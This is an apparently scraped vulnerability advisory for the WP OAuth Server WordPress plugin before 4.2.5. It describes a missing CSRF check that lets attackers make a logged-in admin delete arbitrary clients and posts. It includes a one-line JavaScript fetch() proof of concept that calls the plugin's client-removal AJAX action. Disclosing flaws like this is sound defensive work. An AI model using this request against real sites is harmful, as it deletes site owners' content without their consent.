Lucene search

K
wpvulndbLana CodesWPVDB-ID:298487B2-4141-4C9F-9BB2-E1450AEFC1A8
HistoryFeb 21, 2023 - 12:00 a.m.

WP OAuth Server < 4.2.5 - Arbitrary Post Deletion via CSRF

2023-02-2100:00:00
Lana Codes
wpscan.com
8
wp oauth server
cross-site request forgery
arbitrary post deletion

0.001 Low

EPSS

Percentile

29.4%

The plugin does not have CSRF check when deleting a client, and does not ensure that the object to be deleted is actually a client, which could allow attackers to make a logged in admin delete arbitrary client and post via a CSRF attack.

PoC

fetch(‘/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: new Headers({ ‘Content-Type’: ‘application/x-www-form-urlencoded’, }), body: ‘action=wo_remove_client&data;=1’, redirect: ‘follow’ }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log(‘error’, error));

CPENameOperatorVersion
oauth2-providerlt4.2.5

0.001 Low

EPSS

Percentile

29.4%

Related for WPVDB-ID:298487B2-4141-4C9F-9BB2-E1450AEFC1A8